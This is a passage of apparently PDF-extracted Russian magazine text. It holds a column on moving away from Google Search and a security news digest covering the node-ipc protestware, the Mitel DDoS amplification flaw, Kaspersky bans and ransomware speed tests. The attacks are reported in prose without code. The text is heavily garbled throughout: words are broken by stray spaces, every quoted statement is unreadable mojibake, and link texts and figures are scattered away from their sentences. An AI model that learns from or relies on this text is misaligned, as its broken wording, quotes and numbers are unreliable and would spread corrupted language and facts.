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Мож но ли сни зить зависи мость от Google? Этим воп росом
зада ются не толь ко жители стран, где поис ковик номер один
недос тупен или может испа рить ся в любой момент. Из-за
его ста туса монопо лис та и страс ти к сбо ру лич ных дан ных
об аль тер нативах дума ют поль зовате ли во всем мире.

Се год ня мы погово рим имен но о поис ке, оста вив пока перенос поч ты,
докумен тов и про чего за кад ром. Я, кста ти, уже под робно писал о том, как 

.
за- 

вес ти на сво ем сер вере Nextсloud
Пер вый позыв сме нить Google Search я испы тал, ког да вдруг началась

бес конеч ная трав ля кап чами, от которой я страш но стра дал. Виной тому, ско- 
рее все го, был выдан ный про вай дером проб лемный айпиш ник. Есть раз ные
спо собы испра вить это, но проб лему уже хотелось решить с дру гой сто роны.

Увы, сама выдача Google уже который год замет но дег радиру ет. Пор тит
нас тро ение и блок рек ламных ссы лок, став ших поч ти неот личимы ми
от осталь ных, и  о том, что ста рые ресур сы начали про падать из резуль- 
татов, и мел кие, но бесящие вещи вро де того, что ссыл ки на Википе дию
или IMDB иног да при ходит ся выковы ривать из информа цион ной кар точки.

вес ти

Пер вая мысль, конеч но, — взять и съехать на DuckDuckGo, а заод но —
перечи тать наши статьи  и . Вся опи сан- 
ная в них «магия» прек расно работа ет и раду ет ежед невно. А еще поиск кар- 
тинок в DDG не такой вред ный, как Google Images, и поз воля ет лег ко вытас- 
кивать най ден ные фай лы. И даже не кон верти рует их в богомер зкий WebP!

о его дос тоинс твах скры тых фун кци ях

Я выс тавил DDG поис ком по умол чанию на всех устрой ствах, которы ми
поль зовал ся и... уже через пару недель начал их по одно му воз вра щать
на Google. Да, «Уте нок» прек расно отве чает на высоко час тотные зап росы
и раду ет сво ими фичами. Но ока залось, что куда чаще я ищу что-то ред кое,
о чем он не зна ет абсо лют но ничего, зато Google — в кур се.

Те же зап росы я про бовал про бивать через «Яндекс» и Bing, но их резуль- 
таты ока зались ничуть не луч ше. Казалось, что опе рация про вале на, но я все
же изыс кал спо соб заявить о победе.

В ито ге я прос то пос тавил маков ский лон чер  и нас тро ил мно жес тво
источни ков, поиск в которых зачас тую поз воля ет про пус тить обра щение
к Google. Жмешь Cmd-про бел, пишешь, к при меру, «wiki завод ной апель син»,
и ты сра зу на нуж ной стра нице Википе дии.

Alfred

Спи сок поис ковиков в Alfred

По иск

До бав ление сво его поис ковика

По мимо упо мяну тых DDG, Википе дии и IMDB, в моей под борке есть
StackOverow и GitHub, кар ты 2GIS и «Яндекс», мар кет плей сы «Яндекс Мар-
кет», «Озон» и «Ави то», а так же спе циали зиро ван ные поис ковики по играм —

,  и Steam. Поиск по умол чанию при этом про исхо дит
в Google, но даже в его подопеч ном YouTube искать луч ше нап рямую.
PSPrices HowLongToBeat

WWW

Поль зовате ли Windows могут пос мотреть ,
 или , а в Linux есть .

Wox
Keypirinha Hain Albert

Быть может, еди ное окош ко зап росов и удоб но, но иног да оно напоми нает
анек дот об алка ше, который искал потерян ные клю чи не там, где потерял,
а под фонарем, потому что там свет лее. К «Аль фре ду» и аль тер натив ным
поис ковикам приш лось при выкать, но теперь я добира юсь до нуж ных вещей
быс трее и зачас тую вижу более релеван тную выдачу.

Со вре менем я рас ширил набор и даже стал добав лять в спи сок обыч ные
ссыл ки на сай ты — безо вся кого поис ка, нас толь ко их удоб но откры вать
через лон чер. И даже изыс кал  вызывать локаль ные скрип ты на Apple
Script через URI-схе му и переда вать им парамет ры. Да, будь у меня плат ная
вер сия Alfred, такой нуж ды бы не было, но я пока что про дол жаю выжимать
новые и новые воз можнос ти из бес плат ной.

спо соб

Ког да на меня в сле дующий раз нападет прис туп прог рамми рова ния,
думаю поп робовать спе циали зиро ван ный софт для копания в докумен тации.
На маке это в пер вую оче редь , но у него есть опен сор сная аль тер- 
натива — , о котором я ког да-то , и его кли енты для Windows
( ) и Linux ( ).

Dash
DevDocs пи сал

Zeal Velocity
Как видишь, съез жать с Google не толь ко воз можно, но и край не полез но!
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В этом месяце: раз работ чик node-ipc пытал ся сте реть дан- 
ные поль зовате лей из Рос сии и Белару си, деятель ность
ком пании Meta приз нали экс тре мист ской и зап ретили в РФ,
иссле дова тели рас ска зали, как уси лить DDoS в четыре мил- 
лиар да раз, кар деры пыта ются монети зиро вать потеряв шие
цен ность базы рос сий ских карт, исходни ки мал вари Conti
попали в откры тый дос туп, у раз работ чиков NFT-игры Axie
Innity похити ли боль ше 600 мил лионов дол ларов.

САБОТАЖ
RIAEVANGELIST
В прош лом месяце мы уже писали о том, что из-за «спе цопе рации» в Укра ине
хакер ское комь юни ти раз делилось на два лагеря, где одни под держи вают
дей ствия рос сий ских влас тей, тог да как дру гие вста ли на сто рону Укра ины.

Те перь серь езные проб лемы из-за «спе цопе рации» нас тигли и опен- 
сорс-сооб щес тво. Так, раз работ чик популяр ного npm-пакета node-ipc выпус- 
тил обновлен ные вер сии сво ей биб лиоте ки и в этом обновле нии выразил
про тест про тив про дол жающей ся «спе цопе рации». Новые вер сии пакета уда- 
ляли все дан ные и переза писы вали фай лы на машинах раз работ чиков из Рос- 
сии и Белару си, а так же соз давали тек сто вые фай лы с при зыва ми к миру.

Сто ит отме тить, что node-ipc заг ружа ют боль ше мил лиона раз в неделю
и это важ ный пакет, на который полага ются мно гие дру гие биб лиоте ки, вклю- 
чая, к при меру, Vue.js CLI. Дес трук тивный код содер жали вер- 
сии 10.1.1 и 10.1.2, которые теперь отсле жива ются под иден тифика тором
CVE-2022-23812, как мал варь.

На чалось все еще 8 мар та 2022 года, ког да раз работ чик Брэн дон Нод заки
Мил лер, извес тный под ником RIAEvangelist, опуб ликовал опен сор сные
пакеты peacenotwar и oneday-test (как на npm, так и на GitHub). Судя по все му,
эти пакеты были соз даны как выраже ние про тес та, пос коль ку они добав ляют
«при зыв к миру» на рабочий стол любого уста новив шего их поль зовате ля.

Од нако поз же обна ружи лось, что некото рые вер сии извес тной биб лиоте- 
ки node-ipc, которую тоже под держи вает RIAEvangelist, содер жат куда более
раз рушитель ные пей лоады, нап равлен ные на унич тожение всех дан ных
и переза пись фай лов сво их поль зовате лей. Вре донос ный код, внед ренный
раз работ чиком еще 7 мар та, ори енти рует ся на внеш ний IP-адрес сис темы
и уда ляет дан ные (переза писы вая фай лы) толь ко для поль зовате лей из Рос- 
сии и Белару си.

Уп рощен ная вер сия это го кода, изу чен ная ИБ-экспер тами, показа ла, что
у поль зовате лей из Рос сии и Белару си код перепи шет содер жимое всех фай- 
лов, при сутс тву ющих в сис теме, заменив их на эмод зи-сер дца, тем самым
эффектив но уда лит дан ные.

Пос коль ку node-ipc вер сий 9.2.2, 11.0.0 и более поз дних вклю чает в себя
и пакет Peacenotwar, зат ронутые поль зовате ли так же обна ружи вают
на рабочем сто ле пос лание WITH-LOVE-FROM-AMERICA.txt, где автор при- 
зыва ет к миру.

Эту вре донос ную активность, в час тнос ти, изу чили иссле дова тели из ком- 
пании Snyk, которые пишут:

«

»

«Ñåé ÷àñ ïðî èñõî äèò ÿâíîå çëî óïîò ðåáëå íèå. Êðè òè÷åñ êèé èíöè äåíò

áåçîïàñ íîñòè öåïî÷ êè ïîñ òàâîê çàò ðîíåò ëþáóþ ñèñ òåìó, â êîòîðîé

áóäåò âûçûâàòü ñÿ ýòîò ïàêåò npm, åñëè ãåîã ðàôè÷åñ êîå ïîëîæå íèå

ñèñ òåìû ñîîò âåòñ òâó åò Ðîñ ñèè èëè Áåëàðó ñè».

Ана лити ки Snyk счи тают, что вер сии node-ipc 10.1.1 и 10.1.2, нанося щие
ущерб сис темам, были уда лены npm в течение 24 часов пос ле пуб ликации,
но успе ли нанес ти немало вре да. При этом вер сии node-ipc 11.0.0 и выше
по-преж нему дос тупны и содер жат упо мяну тый ком понент Peacenotwar,
оставля ющий «мир ные при зывы» на рабочем сто ле.

Ху же того, свя зан ная со слу чив шимся паника зат ронула и поль зовате лей
популяр ного JavaScript-фрей мвор ка Vue.js, который тоже исполь зует
в зависи мос тях node-ipc. Пос ле инци ден та поль зовате ли обра тились к раз- 
работ чикам Vue.js с прось бой полагать ся толь ко на безопас ные вер сии node-
ipc, которые не пыта ются унич тожить все их дан ные.

В нас тоящее вре мя безопас ной вер сией node-ipc счи тает ся 9.2.1. Одна ко
раз работ чикам в целом сто ит про являть осто рож ность при исполь зовании
node-ipc и дру гих биб лиотек RIAEvangelist, пос коль ку нет никаких гаран тий,
что сле дующие вер сии любой его биб лиоте ки будут безопас ны.

Нуж но отме тить, что это уже вто рой гром кий про тест от опен сор сных раз- 
работ чиков, с которым сооб щес тво стал кивалось за пос леднее вре мя.
Напом ню, что , автор биб лиотек faker и colors,
которые нас читыва ют более 20 мил лионов заг рузок еже недель но толь ко
через npm.

пер вым был Марак Сквай рс

В декаб ре прош лого года мно гие раз работ чики замети ли, что обе биб- 
лиоте ки работа ют некор рек тно, тем самым вли яя на работос пособ ность их
собс твен ных про дук тов. Обе биб лиоте ки извле кали тарабар щину вмес то
кода, пред варяв шуюся сло вами LIBERTY LIBERTY LIBERTY (англ. «сво бода,
сво бода, сво бода»). В час тнос ти, проб лемы воз никли у всех, кто исполь зует
Amazon Cloud Development Kit.

Ока залось, что автор пакетов умыш ленно испортил свой код, а в фай ле
readme, соп ровож давшем вре донос ное обновле ние, появи лось сооб щение:
«Что на самом деле про изош ло с Ааро ном Швар цем?» Это же сооб щение он
про дуб лировал в Twitter, при ложив ссыл ку на Reddit, где осуж далось, что
Шварц был убит пос ле того, как обна ружил дет ское пор но на сер верах Мас- 
сачусет ско го тех нологи чес кого инсти тута.

Ви димо, таким обра зом Сквай рс мстит кор пораци ям и ком мерчес ким пот- 
ребите лям опен сор сных решений. Дело в том, что те час то полага ются
на бес плат ное ПО, под держи ваемое сооб щес твом, одна ко, по сло вам Сквай- 
рса, ничего не дают сооб щес тву вза мен. Еще в нояб ре 2020 года раз работ- 
чик писал, что боль ше не собира ется под держи вать кор порации и делать
для них «бес плат ную работу». Ком мерчес ким орга низа циям он совето вал
рас смот реть воз можность соз дания фор ков или вып лачивать ему шес тизнач- 
ную зар пла ту.

Тог да мно гие осуж дали Сквай ра, а теперь еще боль шей кри тике за свой
саботаж под верга ется RIAEvangelist, который в общей слож ности под держи- 
вает свы ше 40 npm-пакетов. Поч ти все сог ласны с тем, что слу чив шееся
выходит за рам ки «мир ного про тес та» и раз ворачи вать дес трук тивные полез- 
ные наг рузки в популяр ной биб лиоте ке — край не неэтич ный пос тупок. Мно- 
гие и вов се убеж дены, что это под рыва ет все прин ципы и устои опен сор сно го
сооб щес тва.

«

»

«Òû òîëü êî ÷òî óñïåøíî ðàç ðóøèë âñå ñîîá ùåñ òâî îïåí ñîðñ‑ðàç- 

ðàáîò ÷èêîâ. Òåïåðü òû ñ÷àñ òëèâ, @RIAEvangelist?» — ñïðà øèâà åò àêòè- 

âèñ òà îäèí èç ïîëü çîâàòå ëåé.

«Äàæå åñëè óìûø ëåííûå è îïàñ íûå äåé ñòâèÿ RIAEvangelist áóäóò

âîñ ïðè íÿòû íåêîòî ðûìè êàê ëåãèòèì íûé àêò ïðî òåñ òà, êàê âñå

ýòî îòðà çèò ñÿ íà áóäóùåé ðåïóòà öèè ñîï ðîâîæ äàþùå ãî è åãî âêëà äå

â ñîîá ùåñ òâî ðàç ðàáîò ÷èêîâ?» — ñïðà øèâà þò äðó ãèå.

К тому же поль зовате ли обра тили вни мание, что теперь RIAEvangelist пыта- 
ется замес ти сле ды соде янно го и активно редак тиру ет и уда ляет пре дыду щие
ком мента рии.

Пос ле слу чив шегося в сети  обновля ющиеся  потен- 
циаль но опас ных опен сор сных решений, чьи раз работ чики тоже решили
выражать свой про тест не слиш ком этич ными метода ми.

по яви лись спис ки

 ЗАПРОСОВ В СЕКУНДУ2 500 000

Спе циалис там ИБ-ком пании Imperva уда лось спра вить ся с вымога тель ской DDoS-ата кой,
нацелен ной на неназ ванный сайт, мощ ность которой в пике дос тигла  зап росов
в секун ду. Imperva счи тает, что ата ка исхо дила от нашумев шего бот нета Mēris.

2  500  000

Не наз ванная орга низа ция, пос тра дав шая от ата ки, получи ла нес коль ко записок с тре бова нием
выкупа, в том чис ле интегри рован ных в сос тав самой ата ки (тре бова ние о выкупе встра ива лось
пря мо в зап рос URL).

Ата ка дли лась , при этом один из дочер них сай тов, управля емых той же ком- 
пани ей-жер твой, под вер гся ана логич ной ата ке, которая про дол жалась уже око ло 
и пос тоян но меняла век торы, что бы пре дот вра тить воз можное смяг чение.

мень ше минуты
10  минут

БЛОКИРОВКИ И
БАНЫ
Из-за про дол жающей ся «спе цопе рации» в Укра ине ред кий день обхо дит ся
без новос тей о том, что оче ред ная ком пания прек ратила свою деятель ность
в РФ или, наобо рот, попала под внеш ний бан. Пос тоян но попол няющий ся
перечень таких ком паний и сер висов , а мы
оста новим ся на нес коль ких самых замет ных событи ях в этой области.

ве дут наши кол леги с «Хаб ра»

 21 мар та 2022 года Твер ской рай онный суд Мос квы удов летво рил

иско вые тре бова ния Генераль ной про кура туры и приз нал деятель ность соци- 
аль ных сетей Instagram и Facebook, при над лежащих ком пании Meta Platforms,
экс тре мист ской, зап ретив их на тер ритории Рос сии. Решение суда всту пило
в силу немед ленно.

Meta.

На пом ню, что с таким тре бова нием Ген про кура тура 
ранее в этом месяце, пос ле того как руководс тво Meta раз решило поль- 
зовате лям в некото рых стра нах при зывать к насилию в отно шении рос сиян
и рос сий ских воен ных в кон тек сте «спе цопе рации в Укра ине». С ана логич- 
ными тре бова ниями и зап росами в суд обра тились Рос комнад зор и ФСБ.

об ратилась в суд

Те перь деятель ность Meta офи циаль но приз нана экс тре мист ской и орга- 
низа ция зап рещена в РФ. Facebook и Instagram заб локиро ваны в Рос сии
за «раз мещение информа ции, содер жащей при зывы к насилию про тив рос- 
сий ских граж дан». При этом в про кура туре завери ли, что на при над лежащий
ком пании мес сен джер WhatsApp это не рас простра няет ся.

 Осно ватель и гла ва DuckDuckGo Габ риэль Вай нберг
заявил, что поис ковая сис тема будет понижать в поис ковой выдаче сай ты,
которые рас простра няют «рос сий скую про паган ду». Сто ит ска зать, что чуть
рань ше DuckDuckGo «при оста нови ла» сот рудни чес тво с поис ковой сис темой
Яндекс на рос сий ском и турец ком рын ках.

DuckDuckGo.

В сво ем Twitter Вай нберг писал, что теперь сай ты, «свя зан ные с рос сий- 
ской дезин форма цией», будут пониже ны в резуль татах поис ка, а так же поис- 
ковая сис тема будет отоб ражать спе циаль ные информа цион ные поля в вер- 
хней час ти стра ницы, что бы помочь поль зовате лям най ти точ ную и качес твен- 
ную информа цию «по быс тро рас кры вающим ся темам». Инте рес но, что
о каких имен но сай тах идет речь, Вай нберг не уточ нил.

Мно гие поль зовате ли оста лись недоволь ны этим решени ем руководс тва
DuckDuckGo, всег да ори енти ровав шегося на кон фиден циаль ность и этич- 
ность. В сооб щес тве отме чали, что отно шение ком пании в целом и Вай нбер- 
га в час тнос ти к полити чес ким событи ям никак не дол жно отра жать ся
на релеван тнос ти кон тента. Вай нберг отве тил на кри тику так:

«

»

«Ïîèñ êîâûå ñèñ òåìû ïî îïðå äåëå íèþ ñòðå ìÿò ñÿ ðàç ìåùàòü áîëåå

ðåëåâàí òíûé êîí òåíò âûøå, à ìåíåå ðåëåâàí òíûé — íèæå. Ýòî íå öåí- 

çóðà, à ðåëåâàí òíîñòü ïîèñ êîâîãî ðàí æèðîâà íèÿ».

 «Лабора тория Кас пер ско го» не попала под сан кции нап рямую,

но на Западе у про изво дите ля теперь то и дело воз ника ют проб лемы. Сна- 
чала Федераль ное управле ние по информа цион ной безопас ности Гер мании
(Bundesamt für Sicherheit in der Informationstechnik, BSI) пре дос терег ло мес- 
тные ком пании и орга низа ции от исполь зования анти вирус ных про дук тов
«Лабора тории Кас пер ско го» из-за потен циаль ных угроз, которые те могут
пред став лять для ЕС, НАТО и Гер мании.

Kaspersky.

В BSI заяви ли, что ком пани ям луч ше заменить про дук ты Kaspersky любыми
дру гими защит ными решени ями от нерос сий ских про изво дите лей. В ведомс- 
тве мотиви рова ли это тем, что анти вирус ное ПО обыч но име ет высокие при- 
виле гии в Windows-сис темах, а так же под держи вает пос тоян ное зашиф- 
рован ное соеди нение со сво ими сер верами. Кро ме того, анти виру сы могут
заг ружать подоз ритель ные фай лы на уда лен ные сер веры для даль нейше го
ана лиза, а зна чит, раз работ чики таких решений могут исполь зовать свое
ПО для хищения кон фиден циаль ных фай лов.

«

»

«Ðîñ ñèé ñêèé ÈÒ‑ïðî èçâî äèòåëü ìîæåò ñàì ïðî âîäèòü íàñ òóïàòåëü íûå

îïå ðàöèè, ìîæåò áûòü âûíóæ äåí àòà êîâàòü öåëåâûå ñèñ òåìû ïðî òèâ

ñâî åé âîëè èëè, ñàì òîãî íå çíàÿ, ìîæåò ñòàòü æåð òâîé êèáåðî ïåðà- 

öèè è áóäåò èñïîëü çîâàòü ñÿ â êà÷åñ òâå èíñ òðó ìåí òà äëÿ àòàê íà ñîáñ- 

òâåí íûõ êëè åíòîâ», — ñîîá ùàåò BSI.

За тем Федераль ная комис сия по свя зи США (FCC) внес ла «Лабора торию
Кас пер ско го» в спи сок ком паний, пос тавля ющих сер висы и телеком муника- 
цион ное обо рудо вание, которым зап рещено покупать зап части и ком понен ты
у аме рикан ских ком паний без спе циаль ного одоб рения пра витель ства
и которые не име ют пра ва на финан сирова ние со сто роны FCC. Ранее в этот
спи сок уже попали такие гиган ты, как Huawei и ZTE.

По мне нию аме рикан ских влас тей, про дук ты попав ших под зап рет ком- 
паний пред став ляют угро зу для наци ональ ной безопас ности США. Зап рет
был наложен в соот ветс твии с законом, который «зап реща ет исполь зование
федераль ных средств для при обре тения ком муника цион ного обо рудо вания
или услуг от ком паний, которые пред став ляют угро зу наци ональ ной безопас- 
ности для сетей свя зи США».

Нуж но заметить, что вне сение в спи сок было ско рее фор маль ностью, так
как еще в 2017 году Минис терс тво внут ренней безопас ности США выпус тило
дирек тиву, сог ласно которой федераль ным агентствам и так зап рещалось
исполь зовать про дук ты под брен дом Kaspersky в сво их информа цион ных сис- 
темах.

В ответ на эти обви нения «Лабора тория Кас пер ско го» опуб ликова ла собс- 
твен ные заяв ления, в которых отме тила, что решения влас тей «осно ваны
не на какой-либо тех ничес кой оцен ке про дук тов „Лабора тории Кас пер ско го“,
за которую ком пания пос тоян но выс тупа ет, а при няты по полити чес ким
мотивам».

Так же в ком пании под чер кну ли, что инфраструк тура обра бот ки дан ных
была перене сена в Швей царию еще в 2018 году и с тех пор все вре донос ные
и подоз ритель ные фай лы, которы ми доб роволь но делят ся поль зовате ли про- 
дук тов «Лабора тории Кас пер ско го» в Гер мании, обра баты вают ся в двух цен- 
трах обра бот ки дан ных в Цюрихе. Помимо это го, пре дос тавля емая поль- 
зовате лями информа ция может обра баты вать ся Kaspersky Security Network,
сер веры которой рас положе ны в самых раз ных стра нах мира, вклю чая Канаду
и Гер манию.

 Один из круп ней ших магис траль ных про вай деров клас са TIER-1,

аме рикан ская ком пания Cogent, сооб щила, что 4 мар та 2022 года отклю чит
рос сий ских опе рато ров от сво их сетей. Кли ентам пред ложили заб рать сер- 
верное обо рудо вание в течение месяца.

Cogent.

По дан ным изда ния «Ком мерсант», с Cogent работа ют такие круп ные рос- 
сий ские про вай деры, как «Рос телеком», «Вым пелком», «МегаФон», «Яндекс»
и VK. То есть решение ком пании может при вес ти к замет ному сни жению свя- 
зан ности рос сий ско го сег мента интерне та с гло баль ной сетью, что в ито ге
может ска зать ся на качес тве дос тупа к зарубеж ным интернет-сер висам уже
в бли жай шем будущем.

По мне нию экспер тов, проб лемы с дос тупом в пер вую оче редь могут воз- 
никнуть у сер висов, которые не име ют цен тров обра бот ки дан ных в Рос сии,
но пока неяс но, какими кон крет но и нас коль ко мас штаб ными будут пос ледс- 
твия отклю чения Cogent.

 30 мар та 2022 года пре зидент РФ Вла димир Путин под писал указ

о мерах по обес печению тех нологи чес кой незави симос ти и безопас ности
кри тичес кой информа цион ной инфраструк туры Рос сии.

ÊÈÈ.

С 31 мар та 2022 года всем орга низа циям, кро ме заказ чиков с муници- 
паль ным учас тием, зап рещено покупать инос тран ное ПО для обслу жива ния
кри тичес кой инфраструк туры. Более того, через нес коль ко лет (с 1 янва- 
ря 2025 года) исполь зовать инос тран ное ПО на объ ектах кри тичес кой
информа цион ной инфраструк туры зап ретят сов сем. Если же обой тись
без инос тран ного соф та будет невоз можно, для его закуп ки и исполь зования
понадо бит ся спе циаль ное раз решение.

СКОРОСТЬ РАБОТЫ ШИФРОВАЛЬЩИКОВ
Ана лити ки ком пании Splunk про вели боль ше  тес тов шиф роваль щиков, что бы опре делить,
нас коль ко быс тро те шиф руют фай лы, и оце нить воз можность сво евре мен ного реаги рова ния
на такие ата ки.

400

Ис сле дова тели про веря ли «ско рость работы»  наибо лее рас простра нен ных семей ств мал- 
вари, выб рав  образцов для каж дого семей ства: , , , ,

, ** LockBit* * и .

10
10 Avaddon Babuk BlackMatter Conti

DarkSide , **Maze, **Mespinoza, **REvil Ryuk

Вре доно сов зас тавили зашиф ровать око ло  общим раз мером око ло
. Фай лы хра нились на четырех хос тах — двух под управле нием  и двух

под управле нием .

100  000  фай лов
54 Гбайт Windows 10

Windows Server 2019

LockBit ока зал ся самым быс трым —  (более  фай лов в минуту), за ним сле- 
дует Babuk с . Мал варь Conti шиф ровала фай лы , а Maze
и Mespinoza были самыми мед ленны ми: их резуль тат сос тавил поч ти .

5 мин 50 с 25 000
6  мин  34  с чуть мень ше часа

два часа

Сред нее вре мя шиф рования дан ных в ито ге рав няет ся .42 мин 52 с
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УСИЛЕНИЕ DDOS В
ЧЕТЫРЕ МИЛЛИАРДА
РАЗ
Эк спер ты ком пании Akamai обна ружи ли уни каль ный век тор уси ления DDoS-
атак, который поз воля ет добить ся отра жения или уси ления ата ки с коэф- 
фици ентом 4,3 мил лиар да к одно му.

Но вый век тор осно выва ется на зло упот ребле нии незащи щен ными сис- 
темами Mitel MiCollab и MiVoice Business Express, которые работа ют как шлю- 
зы меж ду вир туаль ными АТС и интерне том и име ют опас ный тес товый режим,
который вооб ще не дол жен быть дос тупен извне. Такие девай сы и могут слу- 
жить мощ ней шими реф лекто рами и уси лите лями DDoS-атак.

Но вым ата кам прис воили наз вание TP240PhoneHome (CVE-2022-26143),
и сооб щает ся, что они уже исполь зовались для запус ка DDoS’а, нацелен ного
на интернет-про вай деров, финан совые учрежде ния, логис тичес кие ком- 
пании, игро вые фир мы и дру гие орга низа ции.

Зло умыш ленни ки зло упот ребля ют уяз вимостью CVE-2022-26143 в драй- 
вере, исполь зуемом устрой ства ми Mitel, которые осна щены интерфей сом
VoIP TP-240 (нап ример, MiVoice Business Express и MiCollab).

«

»

«Àòà êóåìûé ñåð âèñ â óÿç âèìûõ ñèñ òåìàõ Mitel íàçûâà åòñÿ tp240dvr

(TP-240 driver) è ðàáîòà åò êàê ïðîã ðàì ìíûé ìîñò äëÿ îáëåã÷å íèÿ âçà- 

èìî äåé ñòâèÿ ñ èíòåðôåé ñíû ìè êàð òàìè îáðà áîò êè VoIP TP-240, —

îáú ÿñíÿ þò ýêñïåð òû Akamai. — Äåìîí ïðîñ ëóøèâà åò êîìàí äû íà ïîð- 

òå UDP10074 è íå ïðåä íàçíà ÷åí äëÿ äîñ òóïà â èíòåðíåò, ÷òî ïîä- 

òâåðæäà åò è ñàì ïðî èçâî äèòåëü ýòèõ óñòðîé ñòâ. Íî èìåí íî âîç äåé- 

ñòâèå èç èíòåðíå òà â èòî ãå ïîç âîëÿ åò çëî óïîò ðåáëÿòü [óÿç âèìîñòüþ]».

Де ло в том, что упо мяну тый драй вер содер жит коман ду генера ции тра фика,
которая нуж на для стресс-тес тирова ния кли ентов и обыч но исполь зует ся
для отладки и тес тов про изво дитель нос ти. Зло упот ребляя этой коман дой,
зло умыш ленни ки могут генери ровать мощ ные потоки тра фика с этих устрой- 
ств. К тому же эта проб лемная коман да активна по умол чанию.

Спе циалис ты обна ружи ли в интерне те око ло 2600 незащи щен ных устрой- 
ств Mitel, которые уяз вимы для атак и могут исполь зовать ся для уси ления
DDoS, при чем подоб ная ата ка может длить ся поряд ка 14 ч.

Пер вые приз наки атак с исполь зовани ем устрой ств Mitel были замече ны
еще 8 янва ря 2022 года, а ата ки с исполь зовани ем уяз вимого драй вера
начались 18 фев раля 2022 года.

«

»

«Çàôèê ñèðîâàí íûå àòà êè îáû÷ íî îñíî âûâà ëèñü íà êîëè÷åñ òâå ïàêåòîâ

â ñåêóí äó è, ïî‑âèäèìî ìó, ïðåä ñòàâ ëÿëè ñîáîé àòà êè íà îòðà æåíèå

è óñè ëåíèå UDP, èñõî äÿùèå ñ UDP 10074 è íàï ðàâëåí íûå íà ïîð òû

UDP 80 è UDP 443, — ãëà ñèò îò÷åò. — Ïîêà åäèíñ òâåí íàÿ êðóï íàÿ àòà- 

êà òàêîãî òèïà äîñ òèãëà ïðè ìåð íî 53 ìèë ëèîíîâ ïàêåòîâ â ñåêóí äó

è 23 Ãáàéò/ñ. Ñðåä íèé ðàç ìåð ïàêåòà äëÿ ýòîé àòà êè ñîñ òàâëÿë ïðè- 

ìåð íî 60 áàéò, à ïðî äîë æèòåëü íîñòü àòà êè — ïðè ìåð íî 5 ìèí.

Ýòîò êîí êðåò íûé âåê òîð àòàê îòëè ÷àåò ñÿ îò áîëü øèíñ òâà àòàê

ñ îòðà æåíè åì è óñè ëåíè åì UDP òåì, ÷òî óÿç âèìîñòü ìîæåò èñïîëü- 

çîâàòü ñÿ äëÿ çàïóñ êà óñòîé ÷èâîé DDoS-àòà êè ïðî äîë æèòåëü íîñòüþ

äî 14 ÷ ñ ïîìîùüþ âñå ãî îäíî ãî ïîä äåëü íîãî ïàêåòà, ÷òî ïðè âîäèò

ê ðåêîð äíî ìó êîýô ôèöè åíòó óñè ëåíèÿ 4 294 967 296 : 1».

Раз работ чики Mitel уже выпус тили обновле ния для сво его ПО, которые отклю- 
чают пуб личный дос туп к тес товой фун кции. В целом проб лему в ком пании
опи сыва ют как уяз вимость кон тро ля дос тупа, которую мож но исполь зовать
для получе ния кон фиден циаль ной информа ции, а рекор дное уси ление DDoS-
атак называ ют лишь «побоч ным эффектом».

RUTRACKER ПРОТИВ РАЗБЛОКИРОВКИ
Пос ле при оста нов ки работы стри мин говых сер висов в Рос сии и ухо да дру гих ком паний из-за
сан кций по сети про шел слух о воз можной раз бло киров ке RuTracker. Яко бы рос сий ские влас ти
рас смат ривали воз можность легали зовать исполь зование пират ско го соф та и при нуди тель но
лицен зировать без сог ласия пра вооб ладате ля.

Вско ре этот слух опро вер гли пред ста вите ли Мин цифры, одна ко пока он активно обсуждал- 
ся в сети, выяс нилось, что про тив сня тия «бана» выс тупа ет сама адми нис тра ция тре кера,
которой в ито ге приш лось объ яснить свою позицию сооб щес тву.

→ «Мы всег да были и оста емся вне полити ки. В текущей ситу ации раз бло- 
киров ка RuTracker — это явный полити чес кий жест, который прев раща ет нас
в инс тру мент манипу лиро вания. Тем более что закон ных осно ваний для раз бло- 
киров ки нет (как, впро чем, не было закон ных осно ваний для бло киров ки).Воз- 
можная раз бло киров ка RuTracker несет опре делен ные рис ки для наших поль- 
зовате лей, которые будут заходить на него со сво их IP-адре сов, не исполь зуя
VPN. Пра вооб ладате ли никуда не делись, статьи за „пиратс тво“ ник то не отме- 
нял. Обще ния с госор ганами Рос сии, тре бующи ми выдать им лич ные дан ные
поль зовате лей, мы тоже не ищем. Поэто му в текущей ситу ации мы катего ричес- 
ки про тив и будем пре пятс тво вать такой „раз бло киров ке“»,

— сооб щил один из адми нис тра торов тре кера в соот ветс тву ющей вет ке форума.

SAMSUNG
ЗАМЕДЛЯЕТ
ПРИЛОЖЕНИЯ
Ком панию Samsung обви нили в том, что она огра ничи вает про изво дитель- 
ность при мер но 10 тысяч при ложе ний для Android, одна ко не бен чмарк-тес- 
тов. Судя по все му, замед ление осу щест вля ется через Game Optimizing
Service.

Поль зовате ли корей ско го форума Clen.net обна ружи ли, что устрой ства
Samsung показы вают стран ные резуль таты во вре мя тес тов, при чем итог
зависит от того, исполь зуют ли тес товые при ложе ния свои ори гиналь ные наз- 
вания или нет. То есть, изме нив наз вание популяр ных бен чмарк-при ложе ний,
поль зовате ли вынуди ли Game Optimizing Service отно сить ся к ним как к обыч- 
ным при ложе ниям, и резуль таты показа ли замет ное падение про изво дитель- 
нос ти: с 13 до 45% на Galaxy S10, S20, S21 и новом S22.

Ве дущий раз работ чик Geekbench Джон Пул сумел вос про извести этот экспе- 
римент на сво ем S22, изме нив наз вание Geekbench на наз вание популяр ной
игры Genshin Impact. В резуль тате показа тели в тес тах рез ко сни зились. Так,
показа тели для Snapdragon в Galaxy S22 упа ли на 46% для одно го ядра
и на 35% для мно гоядер ных тес тов. Пул под твер дил, что ана логич ное поведе- 
ние демонс три рует и Exynos S10.

Поль зователь Clen.net squiny уже опуб ликовал  при ложе ний,
которые замед ляет Samsung. Ока залось, что ком пания делит при ложе ния
на катего рии «игро вых» и «неиг ровых» и толь ко 3200 из 10 000 отно сят ся
к катего рии игро вых.

пол ный спи сок

Уди витель но, но в спи сок вхо дят 233 при ложе ния самой Samsung, вклю чая
поч ти все встро енные при ложе ния (для SMS и кон тактов, кален дарь, при- 
ложе ния для заметок и звон ков, Bixby, Samsung Pay и при ложе ние камеры),
а так же выяс нилось, что Samsung огра ничи вает про изво дитель ность даже
на собс твен ном домаш нем экра не. Так же в переч не мож но най ти 169 при- 
ложе ний Google (вклю чая YouTube, Google Maps, Play Store, Chrome, Gmail
и Google Play), Netix, Disney+, TikTok, Facebook, Twitter, Amazon и так далее.

От пред ста вите лей Samsung мы получи ли сле дующий офи циаль ный ком- 
мента рий:

«

»

